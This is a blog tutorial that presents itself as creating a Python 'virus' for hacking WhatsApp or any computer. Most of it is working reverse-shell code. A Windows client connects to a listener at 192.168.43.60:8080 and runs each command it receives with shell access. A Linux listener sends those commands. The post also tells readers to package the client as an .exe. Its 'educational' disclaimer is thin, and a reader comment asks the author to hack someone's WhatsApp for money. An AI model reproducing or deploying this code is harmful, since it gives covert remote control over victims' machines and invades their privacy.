How to create virus in python: WhatsApp Hacking 2

Harinderpreet singh Last updated

How can you create your own virus to hack any computer.  In my previous post, some of you asked me to how to create your own virus to hack WhatsApp.create virus in python for hacking WhatsApp

In this article, I’m going to explain everything. I’m assuming you know basic of python. How to write python program.

Read: Hacking for beginners: the ultimate guide 

Please don’t misuse this for any bad things it is for educational purpose only. Hacking someone’s WhatsApp is not going to solve your personal issue better way is talk to him/her or let him/her go.

I know some of you will definitely misuse it that’s why I’m not going to create an awesome malware.

Ok let’s get start

I’m using a virtual machine this virus will run on window pc we can control it from our Linux machine. First, we will use this program then convert into .exe files using pyinstaller.  So make sure you install python on your window machine.

Here is window code

import socket                     
import subprocess                

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)      
    s.connect(('192.168.43.60', 8080))                           
 
    while True:                                               
        command =  s.recv(1024)                       
        
        if 'terminate' in command:                  
            s.close()
            break 
        
        else:                               
            
            CMD =  subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            s.send( CMD.stdout.read()  ) 
            s.send( CMD.stderr.read()  )

def main ():
    connect()
main()

Here is Linux machine code

import socket   

def connect():
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   
    
    s.bind(("192.168.43.60", 8080))                          
    
    s.listen(1)                                            
                                                           
    
    print '[+] Listening for incoming TCP connection on port 8080'
    
    conn, addr = s.accept()    
                              
    
    print '[+] We got a connection from: ', addr


    while True:
        
        command = raw_input("Shell> ")  
        
        if 'terminate' in command:       
            conn.send('terminate')
            conn.close()
            break

        else:
            conn.send(command)    
            print conn.recv(1024)
        
def main ():
    connect()
main()

 

First, run Linux code after then run window code

then you can run simple window commands browse files and folders.

If you want to more details about how to create virus then buy this course bundle at $49

 

 

4 thoughts on “How to create virus in python: WhatsApp Hacking 2

  1. Hi can you hack a whatsapp account for me? I can pay you through paypal upto $10.
    Please help me if you can.
    Courtesy!

Leave a Reply

Your email address will not be published. Required fields are marked *